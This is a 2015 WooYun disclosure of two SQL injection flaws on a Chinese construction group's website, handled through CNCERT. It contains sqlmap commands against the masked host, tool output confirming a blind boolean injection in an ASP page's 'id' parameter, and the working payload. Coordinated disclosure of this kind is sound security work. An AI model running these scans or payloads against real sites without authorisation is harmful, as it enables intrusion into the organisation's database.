当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149296

漏洞标题:江苏省建工集团两处SQL注射漏洞打包

相关厂商:江苏省建工集团有限公司

漏洞作者: linkey

提交时间:2015-10-27 10:56

修复时间:2015-12-14 14:48

公开时间:2015-12-14 14:48

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:3

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-30: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

RT

详细说明:

0x01

python sqlmap.py -u "http://**.**.**.**/culture/index.asp?id=5" --table


得出;

[00:08:38] [INFO] testing connection to the target url
[00:08:39] [INFO] testing if the url is stable, wait a few seconds
[00:08:41] [INFO] url is stable
[00:08:41] [INFO] testing if GET parameter 'id' is dynamic
[00:08:41] [INFO] confirming that GET parameter 'id' is dynamic
[00:08:42] [INFO] GET parameter 'id' is dynamic
[00:08:42] [WARNING] reflective value(s) found and filtering out
[00:08:42] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable
[00:08:42] [INFO] testing for SQL injection on GET parameter 'id'
[00:08:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:08:44] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[00:08:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:08:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:08:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:08:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:08:46] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:08:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:08:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:08:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:08:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:08:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:08:49] [INFO] testing 'Oracle AND time-based blind'
[00:08:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:08:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[00:09:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:09:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[00:09:09] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:


结果:

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=5 AND 7754=7754
---
[00:09:14] [INFO] testing MySQL
[00:09:15] [WARNING] the back-end DBMS is not MySQL
[00:09:15] [INFO] testing Oracle
[00:09:15] [WARNING] the back-end DBMS is not Oracle
[00:09:15] [INFO] testing PostgreSQL
[00:09:15] [WARNING] the back-end DBMS is not PostgreSQL
[00:09:15] [INFO] testing Microsoft SQL Server
[00:09:16] [WARNING] the back-end DBMS is not Microsoft SQL Server
[00:09:16] [INFO] testing SQLite
[00:09:16] [WARNING] the back-end DBMS is not SQLite
[00:09:16] [INFO] testing Microsoft Access
[00:09:17] [INFO] confirming Microsoft Access
[00:09:18] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access


J(M@T(E8MXL3$K~2Q~V2V0F.png

漏洞证明:

0x02

python sqlmap.py -u "http://**.**.**.**/news/index.asp?bigclassid=1" --table


F_W2]7YO72QLERWR}`I6CA3.png


修复方案:

过滤

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-30 14:46

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价